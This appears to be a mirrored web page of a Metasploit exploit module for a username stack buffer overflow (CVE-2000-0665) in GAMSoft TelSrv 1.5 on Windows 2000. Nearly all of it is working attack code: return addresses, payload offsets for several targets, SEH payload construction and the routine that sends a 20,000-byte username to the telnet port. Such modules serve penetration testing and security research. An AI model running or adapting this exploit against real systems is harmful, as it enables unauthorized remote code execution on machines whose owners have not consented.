Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/telnet/gamsoft_telsrv_username.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking7include Msf::Exploit::Remote::Tcp8include Msf::Exploit::Remote::Seh910def initialize(info = {})11super(update_info(info,12'Name' => 'GAMSoft TelSrv 1.5 Username Buffer Overflow',13'Description' => %q{14This module exploits a username sprintf stack buffer overflow in GAMSoft TelSrv 1.5.15Other versions may also be affected. The service terminates after exploitation,16so you only get one chance!17},18'Author' => [ 'aushack' ],19'Arch' => [ ARCH_X86 ],20'License' => MSF_LICENSE,21'References' =>22[23[ 'CVE', '2000-0665'],24[ 'OSVDB', '373'],25[ 'BID', '1478'],26[ 'URL', 'http://cdn.simtel.net/pub/simtelnet/win95/inetmisc/telsrv15.zip'],27],28'Privileged' => false,29'DefaultOptions' =>30{31'EXITFUNC' => 'thread',32},33'Payload' =>34{35'Space' => 1000,36'BadChars' => "\x00\x0a",37'StackAdjustment' => -3500,38},39'Platform' => ['win'],40'Targets' =>41[42[ 'Windows 2000 Pro SP0/4 English REMOTE',43{44'Ret' => 0x75022ac4, # pop/pop/ret ws2help.dll w2k pro en ALL45'Offset' => 1886,46}47],4849[ 'Windows 2000 Pro SP0/4 English LOCAL (debug - 127.0.0.1)',50{51'Ret' => 0x75022ac4, # pop/pop/ret ws2help.dll w2k pro en ALL52'Offset' => 3318,53}54],5556[ 'Windows 2000 Pro SP0/4 English LOCAL (debug - dhcp)',57{58'Ret' => 0x75022ac4, # pop/pop/ret ws2help.dll w2k pro en ALL59'Offset' => 3358,60}61],62=begin63[ 'Windows XP Pro SP0/1 English',64{65'Ret' => 0x71aa32ad, # pop/pop/ret xp pro en ALL66'Offset' => 2600, # this is made up and absolutely wrong ;-)67}68],69=end70],71'DisclosureDate' => '2000-07-17',72'DefaultTarget' => 0))7374register_options(75[76Opt::RPORT(23),77])78end7980def check81connect82print_status("Attempting to determine if target is possibly vulnerable...")83select(nil,nil,nil,7)84banner = sock.get_once || ''85vprint_status("Banner: #{banner}")8687if banner.to_s =~ /TelSrv 1\.5/88return Exploit::CheckCode::Appears89end90return Exploit::CheckCode::Safe91end9293def exploit94print_status("Trying target #{target.name} on host #{datastore['RHOST']}:#{datastore['RPORT']}...")95connect96print_status("Connected to telnet service... waiting several seconds.") # User friendly message due to sleep.97select(nil,nil,nil,7) # If unregistered version, you must wait for >5 seconds. Seven is safe. Six is not.9899username = rand_text_english(20000, payload_badchars)100seh = generate_seh_payload(target.ret)101username[target['Offset'], seh.length] = seh102103print_status("Sending #{ username.length} byte username as exploit (including #{seh.length} byte payload)...")104sock.put(username)105select(nil,nil,nil,0.25)106print_status('Exploit sent...')107handler108disconnect109end110end111112113